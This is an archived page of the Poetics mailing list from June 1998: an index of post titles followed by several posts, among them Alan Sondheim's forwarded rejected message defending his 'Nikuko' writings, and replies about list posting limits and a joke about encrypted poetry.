551. morpheal — Re: poetry in Normal
552. Pritchett,Patrick — Re: Poetry saved my life
553. William Marsh — Re: shapeshift normal poetry money
554. Pritchett,Patrick — Re: The Fabulous Berrigan Boyz
555. Gwyn McVay — Re: Poetry saved my life
556. Henry — Re: surge on
557. Brent Long — Re: teachers
558. Jacques Debrot — Re: Poetry, politics, context
559. Aviva Vogel — What Price Iowa?
560. s. kaipa — Re: What Price Iowa?
561. daniel bouchard — Re: surge on
562. Judy Roitman — Re: Cohen
563. Henry — Re: surge on
564. Susan Wheeler — Re: Poetry saved my life
565. Alaric Sumner — review of The Unspeakable Rooms, Cleveland Ohio
566. Brent Long — Re: Cohen
567. R. Gancie — Oh Poet! Get a Job!
568. dbkk — Re: Good, there are no lions in the street
569. s. kaipa — Ad campaigns and poets galore (who score)
570. joel lewis — f.y.i.
571. joel lewis — "holy william burroughs, batman!" (f.y.i.)
572. John Kimball — Complete the following
573. k. lederer — Re: What Price Iowa?
574. David Kellogg — Re: "holy william burroughs, batman!" (f.y.i.)
575. David Baratier — Re: Poultry & $$ (Don't count your chickens...)
576. P.Standard Schaefer — Money, poetry, magazines
577. Pam Brown — Re: Looking for the address
578. Mark Weiss — Re: "holy william burroughs, batman!" (f.y.i.)
579. Aviva Vogel — Frank Stanford/Forrest Gander

580. Aviva Vogel — Re: What Price Iowa?
581. maz881 — obsesh
582. sylvester pollet — Re: Ad campaigns and poets galore (who score)
583. Anthony Lawrence — Cohen
584. morpheal — Re: "holy william burroughs, batman!" (f.y.i.)
585. Marcella Durand — various topics
586. Karen Kelley — Oops & Obsession

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587. morpheal — Re: Oops & Obsession
588. Jim Andrews — an institutionalized avant garde
589. George Bowering — Re: an institutionalized avant garde is
590. George Bowering — Re: Cohen
591. Pierre Joris — "Caput, Vox, Grotto"
592. Jacques Debrot — Re: Weiner's _Code Poems_
593. Brent Long — Re: Frank Stanford/Forrest Gander
594. Brent Long — Re: Cohen
595. Michael Magee — Re: where's the poetry
596. Maria Damon — Re: an institutionalized avant garde
597. Maria Damon — Re: an institutionalized avant garde is
598. Maria Damon — Re: "Caput, Vox, Grotto"
599. Brent Long — Sexton
600. henry g — Re: where's the poetry
601. Charles Bernstein — Re: Weiner's _Code Poems_
602. Douglas Barbour — Re: Cohen
603. Jacques Debrot — Re: Weiner's _Code Poems_
604. jarnot — Rempress publications
605. Safdie Joseph — Re: Ad campaigns and poets galore (who score)
606. david bromige — giving up frenchified sex for good
607. ken|n|ing — Re: Money, poetry, magazines
608. Bobbie West — Re: pre-rejected
609. Karen and Trevor — monthly welcome
610. Laura Moriarty — Re: obsesh
611. linda russo — Re: Stanford/Wright/Gander
612. linda russo — Peter Quartermain
613. toddbaron — Re: Ad campaigns and poets galore (who score)
614. toddbaron — Re: Money, poetry, magazines
615. Annie Finch — for neilson, hoover, maclow, wallace
616. Bobbie West — Mike & Dale's 4 sale and Rhizome
617. Brent Long — Re: Mike & Dale's 4 sale and Rhizome
618. trbell — Re: Anarchy
619. trbell — Re: Art, Poetry, context
620. trbell — Re: Poetry art contest
621. R. Gancie — raw numbers
622. Mark W Scroggins — Louis Zukofsky
623. Christopher Reiner — Knife and Fork reading
624. dbkk — B. Watten ends SPT season
625. morpheal — Re: Knife and Fork reading
626. morpheal — Re: an institutionalized avant garde
627. Christina Fairbank Chirot — Re: [Re: Anarchy]&Elizam Escobar
628. Pritchett,Patrick — Re: Objectivists at Naropa (long post)
629. maz881 — Re: Oops & Obsession
630. maz881 — Re: Ad campaigns and poets galore (who score)
631. Safdie Joseph — Re: where's the poetry? (Don't ask Derrida)
632. Peter Minter — chapbook
633. Jordan Davis — poetry makes nothing [that is not there and the nothing that is] happy

634. David Baratier — Re: Weiner's _Code Poems_
635. Laura E. Wright — Re: chapbook
636. izak — poetry readings...
637. Mark Weiss — Re: Art, Poetry, context
638. Simon J. Schuchat — Re: poetry makes nothing [that is not there and the nothing that is] ...
639. Brent Long — Re: Stanford/Wright/Gander
640. david bromige — reading reports
641. Dale Smith — Smell of Money
642. charles alexander — Re: chapbook
643. Henry — Re: Art, Poetry, context
644. Henry — Re: poetry makes nothing [that is not there and the nothing that is] happy
645. Karen Kelley — Re: Weiner's _Code Poems_
646. Henry — Re: where's the poetry? (Don't ask Derrida)
647. k. lederer — Katy Lederer/Change of address
648. Brian N Clements — Re: chapbook
649. david bromige — Misappropriation from the List

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650. michael corbin — Re: Good, there are no lions in the street
651. A. Nikuko Sondheim — this and that
652. Billy Little — Re: poetry makes nothing [that is not there and the nothing that is] ...
653. Aviva Vogel — Re: Frank Stanford/Forrest Gander
654. A. Nikuko Sondheim — Forwarded mail from our linux box -
655. Robert Corbett — Re: where's the poetry? (Don't ask Derrida)
656. Jim Andrews — an institutionalized avant garde
657. George Bowering — Re: Cohen
658. George Bowering — Re: MacEwen
659. George Bowering — Re: an institutionalized avant garde is
660. George Bowering — Re: chapbook
661. Miekal And — Re: this and that
662. Bob Grotjohn — Re: poetry readings...
663. Douglas — Re: Knife and Fork reading
664. Dale Smith — Re: Misappropriation from the List
665. Christopher Bijalba — some hundred later
666. Maria Damon — Re: Weiner's _Code Poems_
667. Jacques Debrot — Re: Art, Poetry, context
668. Aaron Vidaver — Two June Kootenay School Readings in Vancouver
669. charles alexander — Re: Weiner's _Code Poems_
670. morpheal — Re: raw numbers
671. Mark Prejsnar — Re: Art, Poetry, context
672. Mark Prejsnar — Ah those rich artists!!
673. morpheal — Re: MacEwen [some thoughts about artistic "popularity"]
674. charles alexander — Re: Art, Poetry, context
675. morpheal — Re: an institutionalized avant garde is
676. Pritchett,Patrick — Re: Weiner's _Code Poems_
677. dbkk — Re: giving up frenchified sex for good
678. charles alexander — Re: Weiner's _Code Poems_
679. Laura Moriarty — new non
680. morpheal — Re: Ah those rich artists!!
681. Peter Balestrieri — "Cultural Workers"
682. morpheal — Re: Ah those rich artists!!
683. Michael Coffey — chapbook -Reply
684. Billy Little — Re: where's the poetry? (Don't ask Derrida)
685. Christopher W. Alexander — Re: Judge Backs FCC Shutdown of Radio Microbroadca
686. David Clippinger — Re: LVNGs! LVNGs!
687. Bob Grumman — Re: Weiner's _Code Poems_

688. Maria Damon — Re: Weiner's _Code Poems_
689. Maria Damon — Re: "Cultural Workers"
690. morpheal — Re: FCC Shutdown of Radio Microbroadcaster [need for more media regulation to pr...
691. Maria Damon — Re: Weiner's _Code Poems_
692. Judy Roitman — Re: Judge Backs FCC Shutdown of Radio Microbroadca
693. Henry G — Re: Weiner's _Code Poems_
694. William Marsh — Re: chapbook
695. MAXINE CHERNOFF — Re: reading reports
696. William Marsh — chapbook (by Dan Featherston)
697. david bromige — eddress for quartermain
698. ShaunAnne Tangney Humanities 8-13-1997 — Re: raw numbers
699. Brent Long — _Book of Mercy_ /more recent work
700. louis stroffolino — Re: Knife and Fork reading
701. david bromige — re : desire
702. William Burmeister Prod — Re: "Cultural Workers"
703. daniel bouchard — Ah ho s a
704. toddbaron — Re: poetry readings...
705. R. Gancie — "Presumably" "...Not Endless..." or 'discrete' by fiat
706. lee ann brown — NYC Summer Sublets
707. Douglas Barbour — Re: Gwen MacEwen
708. joel lewis — everyday life in the capitalist universe (f.y.i.)
709. David Baratier — Re: Ah those rich artists!!
710. Simon DeDeo — Re: raw numbers
711. r.drake — Re: Ah ho s a
712. A. Nikuko Sondheim — l caught as usual
713. Christopher W. Alexander — Re: FCC Shutdown of Radio Microbroadcaster [need for mor
714. sylvester pollet — Re: FCC Shutdown of Radio Microbroadcaster [need for more media regulati...
715. William Burmeister Prod — Re: Judge Backs FCC Shutdown of Radio Microbroadca
716. Christopher W. Alexander — watch me juggle
717. mj devaney — Re: Driving me crazy
718. maz881 — clew
719. Maria Damon — Re: Gwen MacEwen
720. Maria Damon — Re: Weiner's _Code Poems_
721. morpheal — Re: Gwen MacEwen
722. morpheal — Re: FCC Shutdown of Radio Microbroadcaster [need for more media regulation to pr...
723. Simon DeDeo — Re: Gwen MacEwen
724. Karen Kelley — Re: Weiner's _Code Poems_
725. Mark Weiss — Re: Gwen MacEwen
726. morpheal — Re: Gwen MacEwen
727. morpheal — Re: FCC Shutdown of Radio Microbroadcaster [need for mor

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728. Karen Kelley — Driving me crazy
729. Simon DeDeo — Re: Gwen MacEwen
730. L. MacMahon and T.R. Healy — Re: chapbook
731. George Bowering — Re: an institutionalized avant garde
732. George Bowering — Re: MacEwen [some thoughts about artistic "popularity"]
733. George Bowering — Re: _Book of Mercy_ /more recent work
734. George Bowering — Re: Gwen MacEwen
735. henry — Re: Weiner's _Code Poems_
736. John Tranter — chapbook = Kaufman ?
737. daniel bouchard — Re: FCC Shutdown of Radio Microbroadcaster [need for mor
738. Maria Damon — Re: Weiner's _Code Poems_

739. Mark Prejsnar — Re: Art, Poetry, context
740. morpheal — Re: Gwen MacEwen, Pound, etc.
741. Mark Prejsnar — Re: "Cultural Workers"
742. Henry G — Re: "Cultural Workers"
743. charles alexander — Re: Art, Poetry, context
744. Brent Long — Re: _Book of Mercy_ /more recent work
745. Pritchett,Patrick — Re: Weiner's _Code Poems_
746. Douglas Barbour — Re: for Chris A (Gwen M etc)
747. Robert Zamsky — Re: Weiner's _Code Poems_
748. hawkwind — Re: _Book of Mercy_ /more recent work
749. Judy Roitman — Re: Judge Backs FCC... correction
750. Mark Prejsnar — Re: Art, Poetry, context
751. Erik Sweet — ####1
752. Martin Spinelli — checking that m strain -- was FCC & Microbroadcasters
753. david bromige — hawkwind's Best O the Best
754. hawkwind — Best of the Best
755. R. Gancie — "Mathematical logic is so Utopian."
756. Linda Russo — Re: FCC Shutdown of Radio Microbroadcaster [need for mor
757. Alan J.J.N. Sondheim — VIRTUAL HELLS
758. Pritchett,Patrick — Re: Naropa Readings
759. Judy Roitman — Re: FCC Shutdown of Radio Microbroadcaster [need for mor
760. David Baratier — fcc
761. toddbaron — Re: FCC Shutdown of Radio Microbroadcaster [need for mor
762. Poetics List — Postmodern Piracy Festival /Call for Participants (fwd)
763. Pritchett,Patrick — Re: Naropa Readings
764. William Burmeister Prod — Re: Judge Backs FCC Shutdown of Radio Microbroadcasters
765. Safdie Joseph — Re: Naropa Readings
766. Mark Prejsnar — Re: Naropa Readings
767. joel lewis — f.y.i.
768. Christopher W. Alexander — Re: FCC Shutdown of Radio Microbroadcaster [need for mor
769. Mark Weiss — Re: f.y.i.
770. toddbaron — far and few
771. Stephen Cope — BTP Readings
772. Henry Gould — saturday night reading
773. Susan Schultz — Re: trippingly

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774. toddbaron — reading in Los Angeles
775. Jim Andrews — MacEwen and bissett
776. trbell — Re: Money /art/poetry makes nothing [that is not there and the nothing that …
777. Anthony Lawrence — Best O the Best
778. rsillima — More on Art & $$
779. r. drake — Re: Postmodern Piracy Festival /Call for Participants (fwd)
780. Brent Long — Re: Postmodern Piracy Festival /Call for Participants (fwd)
781. charles alexander — Re: Postmodern Piracy Festival /Call for Participants (fwd)
782. Simon DeDeo — Re: MacEwen and bissett
783. Mark Weiss — Re: Postmodern Piracy Festival /Call for Participants (fwd)
784. trbell — Re: Postmodern Piracy Festival /Call for Participants (fwd)
785. R. Gancie — "Poetically man dwells;" the hell, you say
786. Pritchett,Patrick — Re: saturday night reading
787. Loss Pequen~o Glazier — New @ epc
788. r. drake — Re: Postmodern Piracy Festival /Call for Participants (fwd)
789. Loss Pequen~o Glazier — New @ epc
790. nuyopoman — Radio Poetry
791. Nada Gordon — i see london i see france
792. Dan or Orion — new from 26 BOOKS

793. morpheal — Re: descending murderous net

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794. Mark W Scroggins — Re: wallace stevens and the life
795. toddbaron — Re: descending murderous net
796. toddbaron — wallace stevens and the life
797. toddbaron — Re: wallace stevens and the life
798. Anthony Lawrence — Re: wallace stevens and the life
799. R. Gancie — the frame problem or busting outta Goedel's Second Theorem
800. toddbaron — Re: wallace stevens and the life

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801. Jim Andrews — the frame problem?
802. Stephen Cope — FCC etc. (longish post)
803. George Bowering — Re: Tish spies
804. morpheal — Re: FCC etc. [alternatives for video-audio, an example]
805. p.c. jaeger — Derksen & Mac Cormack reading
806. Douglas Barbour — Re: MacEwen & bissett
807. Mark Prejsnar — Re: Money /art/poetry makes nothing [that is not there and the nothing that...
808. Mark Prejsnar — Re: the frame problem?
809. Jordan Davis — framing frenzy
810. linda russo — "How Poignant that sounds . . .
811. Alan J.J.N. Sondheim — Re: framing frenzy
812. Judy Roitman — Re: framing frenzy
813. Alan J.J.N. Sondheim — Re: framing frenzy
814. louis stroffolino — Re: framing frenzy
815. louis stroffolino — Re: framing frenzy
816. Jordan Davis — this, now, here, name
817. David Baratier — Re: "How Poignant that sounds . . .
818. R. Gancie — Cognitive wheels
819. morpheal — Re: framing frenzy
820. morpheal — Re: the frame problem or busting outta Goedel's Second Theorem
821. R. Gancie — brick & block
822. sylvester pollet — Re: "How Poignant that sounds . . .
823. sylvester pollet — Re: "How Poignant that sounds . . .
824. Simon/Piombino — Stevens Bios
825. Tom Beard — Re: Weiner's _Code Poems_ and reductiveness
826. Peter Minter — Re: chapbook = Kaufman ?
827. Tom Beard — Re: raw numbers

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828. Mark W Scroggins — addresses again--
829. Tom Beard — Re: brick & block
830. toddbaron — Re: Stevens Bios
831. henry g — stevens bks
832. Jordan Davis — new blind date #5
833. Simon DeDeo — Re: raw numbers
834. Pritchett,Patrick — Re: Naropa When It Sizzles
835. Billy Little — Re: chapbook = Kaufman ?
836. Joe Brennan — TEST
837. Brent Long — Money money
838. R.Gancie/C.Parcelli — test
839. morpheal — Re: raw numbers [Pontification on mythematics]
840. R. Gancie — bobbing for oxygen
841. Simon DeDeo — Re: raw numbers [Pontification on mythematics]
842. F. W. Perrella — Web Del Sol Update: 6/23/1998

843. morpheal — Re: Cognitive wheels [of the most intelligent and stupidest machine ever to be b…
844. toddbaron — Re: new blind date #5
845. Simon/Piombino — Summer
846. david bromige — insults having nothing to do with poetry but addressed to one person in fro…
847. morpheal — Re: Summer
848. KENT JOHNSON — (Fwd) Support GM strikers!
849. morpheal — Re: (Fwd) Support GM strikers!
850. maz881 — three legged dog
851. charles alexander — a tad of this, a tad of that
852. Herb Levy — Taslima Nasrin?
853. Simon/Piombino — Stewart and Schuyler
854. J. Pecqueur — Summerer
855. Scott Pound — eddress requests
856. morpheal — Re: bobbing for oxygen [various oxidation reactions]

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857. George Bowering — Re: TEST
858. George Bowering — Re: eddress requests
859. George Bowering — Re: Summerer
860. Wendy Kramer — some are reading
861. Gary Sullivan — Groovy Summer Reading
862. Alaric Sumner — 2nd review of The Unspeakable Rooms
863. Pritchett,Patrick — Re: Tuesday at Naropa
864. Simon DeDeo — Simon Armitage
865. Robert Corbett — Frames and Paranoia
866. R. Gancie — my P.C.'s papa threw a few bricks in his time, pal
867. R.Gancie/C.Parcelli — Re: Simon Armitage
868. Don Cheney — bill gates: doctor of madness?
869. Maria Damon (Maria Damon) — Re: Weiner's _Code Poems_ and reductiveness
870. David Baratier — where's frank?
871. Maria Damon (Maria Damon) — Re: Taslima Nasrin?
872. Maria Damon (Maria Damon) — Re: Summerer
873. Maria Damon (Maria Damon) — Re: Groovy Summer Reading
874. Brent Long — Re: Summerer
875. Brent Long — Books
876. trbell — Poetics of space
877. Simon DeDeo — Re: summerer
878. Peter Ganick — Re: summerer
879. Simon DeDeo — Re: Cognitive wheels [of the most intelligent and stupidest machine ever to b…
880. Robert Corbett — Re: Summerer
881. Kathy Lou Schultz — Re: bill gates: doctor of madness?
882. Alan J.J.N. Sondheim — Re: Summerer
883. Jordan Davis — dave!
884. morpheal — Re: Cognitive wheels [of the most intelligent and stupidest machine ever to be b…
885. Simon DeDeo — Re: Cognitive wheels [of the most intelligent and stupidest
886. David Baratier — Re: dave!
887. George Bowering — Re: summerer
888. Aaron Vidaver — A Limited-Time Offer for Members of the Poetics List: The Complete In-comple…
889. Alan J.J.N. Sondheim — Re: summerer

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890. Matt Kirschenbaum — Re: summerer

891. Tosh — Re: summerer
892. k.a. hehir — Re: summerer
893. k.a. hehir — Re: summerer
894. Anthony Lawrence — Re: Simon Armitage
895. Anthony Lawrence — CloudCuckooLand
896. Susan Wheeler — Books +
897. rsillima — Steve Lacy Question
898. John Kimball — The East Village, Volume Two
899. Michael Magee — Re: Steve Lacy Question
900. Don Cheney — The emotional scoreboard at Wimbledon
901. Nada Gordon — Re: Books +
902. Henry G — Re: Books +
903. daniel bouchard — a stanz a (for henry
904. DANIEL L. COLLIER — Byefornow, Summer Reading, Thanks
905. Simon DeDeo — Re: CloudCuckooLand
906. Brent Long — Re: a stanz a (for henry
907. Mark Prejsnar — writing thru to multicult ethix?
908. henry — Re: a stanz a (for henry
909. Mark Weiss — Re: writing thru to multicult ethix?
910. R I Caddel — OTHER - Advance Notice
911. Mark Prejsnar — Re: writing thru to multicult ethix?
912. charssmith — Re: writing thru to multicult ethix?
913. charssmith — Re: Steve Lacy Question -- & recent reads
914. Simon DeDeo — Re: writing thru to multicult ethix?
915. aerialedge — New @ Bridge Street, Spicer bio, Bellamy, Luoma, Mayer, Notley, Palmer, Perlof…
916. groberts — summer Beckett reading
917. morpheal — Re: my P.C.'s papa threw a few bricks in his time, pal [subtitled: soon there we…
918. Blaise Cirelli — Postmodern Prose
919. trbell — Re: Books +
920. David W. Clippinger — Re: Postmodern Prose
921. Susan Wheeler — Yes, and . .
922. david bromige — Summer Beckett
923. toddbaron — Re: summerer's tales
924. R.Gancie/C.Parcelli — utopia
925. Karen Kelley — Re: Summerer
926. toddbaron — Re: Postmodern Prose
927. david bromige — Hilbert & Langpo (a linkage by R.Gancie)

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928. Jim Andrews — Enigma
929. Jim Andrews — MacEwen and Montreal
930. Alan J.J.N. Sondheim — Finger
931. Billy Little — Re: Yes, and . .
932. Simon J. Schuchat — Enigma
933. George Bowering — Re: a stanza
934. Simon J. Schuchat — Re: a stanza
935. J. Kuszai — address query
936. Gwyn McVay — Re: New @ Bridge Street, Spicer bio, Bellamy, Luoma, Mayer, Notley, Palmer, Pe…
937. Gwyn McVay — Re: New @ Bridge Street, Spicer bio, Bellamy, Luoma, Mayer, Notley, Palmer, Pe…
938. Robert Archambeau — Re: MFA/PhD
939. sylvester pollet — Russian/Azerbaijani poet seeks help
940. Mark Wallace — query: non-mainstream/avant garde dance theory
941. Rachel Loden — morbid requests

942. morpheal — Re: Enigma
943. Gwyn McVay — Re: morbid requests
944. Gwyn McVay — booby prize of the day
945. aerialedge — Close Listening &
946. P.Standard Schaefer — Boundary 2
947. David Baratier — [Fwd: Natl. Lib. of Poetry page]
948. Pritchett,Patrick — Re: MFA/PhD
949. Mark Nowak — Re: Yes, and...
950. David Baratier — Re: MFA/PhD
951. R. Gancie — You woulda never known your uncle was dead, if I hadna killed him.
952. Brent Long — MFA/PhD
953. louis stroffolino — Re: Boundary 2
954. louis stroffolino — Re: MFA/PhD
955. Richard Long — Re: MFA/PhD
956. R M Daley — Re: MFA/PhD
957. R M Daley — Re: MFA/PhD
958. Brent Long — Re: MFA/PhD
959. Charles Bernstein — Re: Boundary 2 / My Way
960. Simon DeDeo — 1968 & alia (longish; "writing through" and more)
961. Matt Kirschenbaum — Re: MFA/PhD
962. KENT JOHNSON — (Fwd) Jane Slaughter on the GM Strike
963. morpheal — Re: morbid requests

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964. Dan or Orion — master of f'ing around (piled higher & deeper)
965. Carrie Etter — MFA/PhD
966. Jim Andrews — enigma
967. rsillima — Readings in SF
968. Agent Sunshine, aka Eric Gleason — Re: [Fwd: Natl. Lib. of Poetry page]
969. Susan Wheeler — Re: Yes, and...
970. morpheal — Re: enigma
971. Maria Damon (Maria Damon) — Re: Books +
972. Maria Damon (Maria Damon) — Re: MFA/PhD
973. MAXINE CHERNOFF — Re: query: non-mainstream/avant garde dance theory
974. Tom Orange — slovak poets
975. Joe Amato/Kass Fleisher — Re: MFA/PhD
976. Douglas Barbour — Re: writing thru to multicult ethix?
977. morpheal — Re: writing thru to multicult ethix? [culture victims in the new apartheids of r…
978. Karen Kelley — Re: writing thru to multicult ethix? [culture victims in the new apartheids …
979. Juliana Spahr — protest of award for Yamanaka
980. R. Gancie — simple is as simple does
981. Michael McColl — Seeking Meow Press
982. trbell — Re: Boundary 2 / My Way
983. morpheal — Re: protest of award for Yamanaka
984. Alan J.J.N. Sondheim — In Query
985. Michael McColl — Elementary Logic
986. Henry Gould — Hawaii 5-0
987. joel lewis — f.y.i.

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988. morpheal — Re: Hawaii 5-0 [All Hawaiians Toss People Into Live Volcanos]
989. morpheal — Re: simple is as simple does [now you see it, now you don't]
990. rsillima — Forrest Gander & Araki Yasusada
991. Alan J.J.N. Sondheim — Emily's Riddle
992. R. Gancie — Or just another hysterical response to indeterminates
993. Christian Roess — Re: slovak poetry
994. david bromige — Alan Sondheim's House of Riddles

995. James Sherry — Re: Forrest Gander & Araki Yasusada
996. Alan J.J.N. Sondheim — the last of Emily's Riddle
997. nuyopoman — query: non-mainstream/avant garde dance theory
998. nuyopoman — Jewloetry
999. nuyopoman — Pigpen
1000. Gwyn McVay — Re: Pigpen

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1001. trbell — Re: slovak poetry
1002. daniel bouchard — Padgett's blazing article
1003. sylvester pollet — address change/Backwoods Broadsides
1004. morpheal — Re: Or just another hysterical response to indeterminates [Hegel, and Tipler as ...
1005. Herb Levy — Re: query: non-mainstream/avant garde dance theory
1006. daniel bouchard — Re: protest of award for Yamanaka
1007. Mark Prejsnar — Re: protest of award for Yamanaka
1008. Poetics List — UB Mail Shutdown
1009. linda russo — Re: [Fwd: Natl. Lib. of Poetry page]
1010. R. Gancie — Reduce this!
1011. Maria Damon (Maria Damon) — thanks
1012. Maria Damon (Maria Damon) — Re: Pigpen
1013. Elizabeth Treadwell — Outlet magazine/includes call for work
1014. maz881 — Re: protest of award for Yamanaka
1015. Simon/Piombino — Jerome Sala and Poetry Slams
1016. morpheal — Re: russian history tomes [tertiary sources based on Stalinist newspapers ?]
1017. Roger Farr — Re: Slams
1018. toddbaron — a note from ReMap
1019. toddbaron — sorry agin
1020. toddbaron — sorry for the public display--
1021. Simon DeDeo — Re: russian history tomes

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1022. J Kimball — Ron Padgett's article
1023. toddbaron — russian history tomes
1024. morpheal — Re: Reduce this! [ok, that puzzle is easier to do]
1025. Marthe N. Reed — Re: Call for submissions
1026. Marthe N. Reed — Re: call for submision (Please Ignore!)
1027. Steven Clay — Bernadette Mayer/Ted Berrigan
1028. r. drake — [Fwd: Solidarity]
1029. Brent Long — Re: Jerome Sala and Poetry Slams
1030. louis stroffolino — 7/4/70
1031. daniel bouchard — Re: Ron Padgett's article
1032. linda russo — Re: Poetry in the libraries
1033. Tom Orange — russian history tomes
1034. Taylor Brady — READING ANNOUNCEMENT
1035. David Baratier — Re: lib of poetry
1036. dbkk — TIM MILLER RESPONSE TO SUPREMES DECISION
1037. Chicago Review — Re: LVNGs! LVNGs!
1038. Fred Muratori — Re: [Fwd: Natl. Lib. of Poetry page]
1039. Eryque Gleason — Re: [Fwd: Natl. Lib. of Poetry page]
1040. Mark Prejsnar — Poetry in the libraries
1041. Fred Muratori — Re: Poetry in the libraries
1042. R. Gancie — Dear Hypatia
1043. Mark Weiss — Re: [Fwd: Natl. Lib. of Poetry page]
1044. nuyopoman — Slams
1045. juliana spahr — yamanaka protest, dan's questions
1046. Charles Alexander — Re: [Fwd: Natl. Lib. of Poetry page]

1047. Mark Weiss — Re: Slams
1048. Charles Alexander — Re: Slams
1049. Laura E. Wright — Re: Poetry in the libraries
1050. Pritchett,Patrick — Re: More from Naropa
1051. morpheal — Re: lib of poetry [what I suggest we should do]
1052. Mark Weiss — Re: lib of poetry [what I suggest we should do]
1053. Laura E. Wright — Re: lib of poetry
1054. Jordan Davis — they don't?
1055. Tosh — Re: Slams

1 JUL 1998

1056. toddbaron — burning decks
1057. toddbaron — Re: Slams

1. Alan Myouka Sondheim

Rejected posting to [redacted] (fwd)

Mon 1 Jun 1998

The form increases in length; I did not know about this limit, and then it was of course too late. So the replies are stuttered, and I want to thank everyone who has written here. And my reply is stuttered as well and there is a Holderlin-call from the Japanese translation by Rexroth at the end, which doesn't clarify, but mutes.

Alan

<---------- Forwarded message ----------
<Date: Sun, 31 May 1998 21:59:12 -0400
<From: "L-Soft list server at University at Buffalo (1.8c)"
< <[redacted]>
<To: Alan Sondheim <[redacted]>
<Subject: Rejected posting to [redacted]

The distribution of your message dated Sun, 31 May 1998 21:59:10 -0400 (EDT) with subject "Japonisserie" has been rejected because you have exceeded the daily per-user message limit for the POETICS list. Other than the list owner, no one is allowed to post more than 5 messages per day. Please resend your message at a later time if you still want it to be posted to the list.

---------- Rejected message (50 lines) ---------- Subject: Japonisserie

As I've said, please check the URLs. I am not making any claims about "Nikukos in Japan," about the "Japanese," about Japanese culture. I am writing texts which look at issues ranging from avatars through psychoses, etc. There are politics involved, but not claims. A few years ago I wrote "through" thinking about cuneiform; I was interested in language diffusions as well as the granularity of the real. These inter- ests play a role here.

I remain blind to the possibility that Nikuko is a stereotype of anyone or anything. I cannot imagine a classroom of Nikukos, or that being in Japan for six years instead of six months would have changed what I was doing in this respect. Nikuko is very similar to Julu in a lot of re- spects; I have limited imagination, but the very fact that I do not know Japanese, do not know kanji, opened up the possibility of a world of impervious signs, and a probe thereby.

Possibly misrecognition has resulted from sending only a certain section of poems/poetics to Poetics; the other essays, etc., have been omitted.

If I were writing in a future six-year stay, I would have kept Nikuko, and reminded myself of the ignorance of the language. The writing has been

concerned with epistemology, what's knowable under the circumstances of probes and membranes and systems. It hasn't been concerned at all with geisha.

The reason I brought up PC is based on some of the critique coming in. If some- one recognizes her students as all Nikukos, that means what, for ex- ample? That I should not write through a character I create? That if I do write through such a character I should be critical because she sees her as a type, and as a girl-geisha detrimental type at that? That I should negate my own interest in pursuing this work - which again makes no claims whatsoever about Japanese culture (I have been carefulabout that), and perhaps use a Jewish white male my own age as exemplar, since that is really all I "know" about?

This questions also touch on Yasusada's work, by the way - if the work is Kent Johnson, and is, then what right does he have - along the same lines? What right does right have? How is it right for what right?

If I write a Nikuko-X that seems harmless enough, without too much cultur- al debris attached, I'll send it on. It is not only that I am concerned with writing hurtful texts; I also don't want to create a male probe in this regard, and worry it will be taken as such. Although Nikuko is "fe- male," she is not female, and that would indeed be a misappropration as far as I'm concerned. (One might say just as well that she is "Japanese" but not Japanese. I realize I'm getting away with murder. Littoral.)

Finally, if Nada and others have different (or similar, since she recog- nized Nikuko as a type?) experiences, why not write to those experiences, instead of critiquing my own position from the viewpoint of perhaps mis- placed (in)au- thenticity? (I.e. I was here or there longer than you, or I know Japanese or say unix better than you, or whatever.)

Alan

Here is a translation of a poem by 8th-century Yakamochi, by Kenneth Rexroth:

The cry of the stag
Is so loud in the empty
Mountains that an echo
Answers him as though
It were a doe.

_Yama biko no
Ai to yomu made
Tsuma goi ni

Ka naku yama be ni
Hitori nomi shite_

And through this you see darling Nikuko how I call you through the wires, rural electrification notwithstanding! For it is true that the echo com- mand - in for- mat {k:0} echo 'command' - behaves just as in Perl, that is, the backward quo- tations enact command, then echo it onto the screen with- out line returns, but a pure escapement, pure emission, pure thrust of activation

so that I emit towards you this echo, this command, reverberating in the midst of the mountains, creating you; your sound, scent, touch, envelop me and you sense my presence as I echo back to you, your wish is my 'command'

so that you emit towards me this echo, this command, reverberating in the midst of the mountains, creating me; my sound, scent, touch, envelop you and I sense your presence as you echo back to me, my wish is your 'command' . . .

↑ Index

2. Tom Orange
Canada's encrypted poetry
Mon 1 Jun 1998

On Sun, 31 May 1998, david bromige writes:

<<I am now at liberty to reveal that George Bowering's poetry, in many of his books "a-tonal" in structure, often consists of heavily encrypted messages being transmitted to Cuba about the seaward defenses of Bellingham, WA....>>

furthermore, the statistics incorporated into jeff derksen's "interface" (in the ganick/barone anthology) are not figures from past canadian dollar exchange rates but, in fact, insider information jeff has garnered on *future* exchange rates. call your broker now....

t.

↑ Index

3. david bromige
quo un/censored vadis?
Mon 1 Jun 1998

btw, i'm pleased that personal quotas have now been instituted for the List. Unless this is my 6th message today.

_____

This has been great! Let it fly!

I want to say that a b-c from Bobbie West has sobered me up some. I got called on my W,M p-o-v. Indeed, a comfortable one, at least out here in the Bleachedburgs. If I were a male-terrorized female--if that isnt a redundancy--I'd have a much harder time detaching from the content of some of Alan's poems.

I also want to say that Nada was not censoring, she was expressing.

This matter of detaching from content : I recall playing a tape of Robert Duncan reading his boffo poem "My Mother Would Be A Falconress" and a male student said, very much aroused, "That guy is _sick_ . He _hates_ his mother." Well of course, Sophistication answers. But this student was _getting it_ in a way I wasn't. Maybe he was recoiling from a picture of his own subconscious, who am I to know?

There are going to be texts, for any one of us, where we cannot achieve an esthetic distancing because the content is traumatic. And surely our saying so is part of the Grand Testimony that would allow whatever form and content in poetry?

This, then, is to apologize for the bleakness of my response (though not to retract the argument offered. Certainly not to ask Alan to change a thing).

David

PS in the same class, one wag suggested--this being during one crest of the wildlife protection movement--that the falcons should sue RD for his misrepresenting them and for personifying them.

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4. sylvester pollet
limits
Mon 1 Jun 1998

That's the first I'd been aware of a five message per day limit. When was that instituted? I would much rather have the list members use moral suasion, boycotts, the delete, or whatever, to influence the cyberhogs. It seems to me that when there's a useful debate, such as that surrounding Alan Sondheim's work, it should be able to run its course. Run without hobbles. Bromige, I take your note of support for the limit to be ironic--that you are against it? (Careful, if you reply, that's one gone!) Jouissez sans entraves! Sylvester

↑ Index

5. **J. Kuszai**
Re: Feedback
Mon 1 Jun 1998

